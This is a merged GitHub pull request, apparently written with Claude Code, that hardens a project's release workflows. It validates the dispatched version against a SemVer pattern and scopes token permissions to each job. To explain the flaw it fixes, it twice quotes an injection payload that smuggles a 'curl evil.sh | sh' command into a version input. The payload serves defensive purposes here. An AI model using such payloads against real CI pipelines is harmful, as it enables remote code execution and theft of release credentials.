ci: gate the release version and scope workflow permissions per job - #4
Merged
Merged
Conversation
Closes the eight SonarCloud vulnerabilities in .github/workflows — three
BLOCKER script-injection and five workflow-level permission findings. They
are the whole of the project's E security rating.
Script injection (githubactions:S7630)
`version="${{ inputs.version }}"` inside a run: block is substituted into
the script text before bash parses it, so a dispatch input of
`v1.0.0"; curl evil.sh | sh; #` executes on the runner. Three jobs do
this, holding between them the checkout token, contents:write +
id-token:write with cosign and `gh release create`, and the Snapcraft
store credentials.
Each now reads the input through a step-level env: binding. That alone
would not be enough. The resolved version is written to GITHUB_OUTPUT and
re-spliced into run: script text at eight further points and into action
inputs at six more — including a `sed -i` where sed metacharacters bite as
well as shell quoting. Sonar's taint tracking does not follow
steps.*.outputs.*, so fixing only the three flagged lines turns the scan
green while leaving fourteen sinks live.
The load-bearing change is therefore a format gate on the resolved
version, applied in all three jobs, which de-taints every sink at once:
^v[0-9]+\.[0-9]+\.[0-9]+(-[0-9A-Za-z.-]+)?(\+[0-9A-Za-z.-]+)?$
Full SemVer 2.0.0, prerelease and build metadata independently optional.
All four existing tags pass. Note this hard-enforces the convention: the
`v*` push trigger still fires for `v0.2` or `vnightly`, which the gate now
rejects at the resolve step, before any job side effect.
Least privilege (githubactions:S8233, S8264)
Both workflows dropped to `permissions: {}` with each job declaring what
it needs. The one that mattered is contents:write on the four-runner
build matrix — the job that resolves Coursier dependencies and runs
native-image, holding a token that could push to main and clobber assets
on every existing release. It now has contents:read.
A job block replaces rather than extends, so each was derived from that
job's actual steps: release keeps id-token:write for keyless cosign, and
pages' build keeps pages:read for actions/configure-pages.
Also adds timeout-minutes to the release job. Nothing in this workflow
declared one, so a dropped id-token:write would leave `cosign sign-blob
--yes` waiting on the interactive OIDC flow for the six-hour default, and
with cancel-in-progress: false that wedges the concurrency group against
retries for the same six hours.
The workflow-level concurrency expression is left alone: it interpolates
inputs.version but is consumed by the scheduler as an opaque string, and
the env context is unavailable there, so rewriting it produces an invalid
workflow.
Both files parse; the gate was exercised under bash against the existing
tags, valid SemVer, and injection payloads.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AaPvsFt1xYoXErXaZ4Kk8A
Contributor
|
Important
This repository does not receive automatic reviews because it has fewer than 10 stars. ⚙️ Run configurationConfiguration used: defaults Review profile: CHILL Plan: Team Run ID: Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
|
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Closes the eight SonarCloud vulnerabilities in
.github/workflows/— three BLOCKER and five MAJOR. They are the entire reason the project is rated E on security; nothing else in the codebase contributes.The three BLOCKERs are real, and the obvious fix does not fix them
version="${{ inputs.version }}"inside arun:block is substituted into the script text before bash parses it. A dispatch input ofv1.0.0"; curl evil.sh | sh; #executes on the runner. Three jobs do this, holding between them the checkout token,contents: write+id-token: writewithcosign sign-blobandgh release create, andSNAPCRAFT_STORE_CREDENTIALS.Each now reads the input through a step-level
env:binding — which is what Sonar asks for, and is not sufficient. The resolved version is written toGITHUB_OUTPUTand re-spliced intorun:script text at eight further points and intowith:action inputs at six more, including ased -iwhere sed metacharacters bite as well as shell quoting. Sonar's taint tracking does not followsteps.*.outputs.*, so it stops at the three sources it can see. Fixing only those turns the scan green and leaves fourteen sinks live.So the load-bearing change is a format gate on the resolved version, applied in all three jobs:
Full SemVer 2.0.0, prerelease and build metadata independently optional. This de-taints every downstream sink at once.
GITHUB_REF_NAMEflows through the same variable, and thepush: tags: v*trigger still fires on any tag starting withv. Verified under bash:v0.0.1v0.1.0v0.1.1v0.2.0(all existing tags)v0.2v2vnightlylatestv1.2.3-rc.1v1.2.3+build.5v1.2.3-rc.1+build.5Rejection happens at the resolve step, before any job side effect. If you ever cut a release from a non-semver tag, say so and I'll loosen the pattern.
Least privilege
Both workflows drop to
permissions: {}with each job declaring its own. The one that matters:contents: writewas on the four-runnerbuildmatrix — the job that resolves Coursier dependencies and runsnative-image, i.e. the most third-party-code-execution-heavy job in the repo — holding a token that could push tomainand--clobberassets on every existing release. It now hascontents: read.contents: readcontents: write,id-token: writecontents: readcontents: read,pages: readpages: write,id-token: writeA job block replaces rather than extends, so each was derived from that job's actual steps:
releasekeepsid-token: writefor keyless cosign, and pages'buildkeepspages: readforactions/configure-pages. Noactions:scope was added —upload-artifact/download-artifact@v4useACTIONS_RUNTIME_TOKENfor same-run transfers.Also
timeout-minutes: 30on the release job. Nothing in this workflow declared one. Ifid-token: writewere ever dropped,cosign sign-blob --yesfalls through to the interactive OIDC flow and hangs for the six-hour default — and withcancel-in-progress: falsethat wedges therelease-<tag>concurrency group against retries for the same six hours.The workflow-level
concurrencyexpression is deliberately unchanged. It interpolatesinputs.versionbut is consumed by the Actions scheduler as an opaque string with no interpreter downstream, and theenvcontext is unavailable in a workflow-levelconcurrencyblock — rewriting it produces an invalid workflow.What is not claimed
Removing
id-token: writefrombuilddoes not strengthen the Sigstore provenance. Thereleasejob verifies downloaded artifacts only against checksum files the build job itself wrote, so a compromised build dependency ships a bad binary plus a matching checksum and the release job then legitimately signs it. That weakness is unchanged by this PR.Verification, and its limit
Both files parse (
yaml.safe_load). The gate was exercised under bash against the table above. Every job's permission set was derived by walking its steps.This cannot be rehearsed end to end. There is no dry-run: a successful dispatch runs the full four-target native-image matrix, then publishes a real public release, then
snapcraft upload --release=stable. Only the reject path is safe to test live. Note also that both Snap jobs are already failing at "Build classic snap" for unrelated reasons — a red snap job after this merges is the status quo, not evidence the permissions split broke something.Expected effect: vulnerabilities 8 → 0, security rating E → A.
🤖 Generated with Claude Code
https://claude.ai/code/session_01AaPvsFt1xYoXErXaZ4Kk8A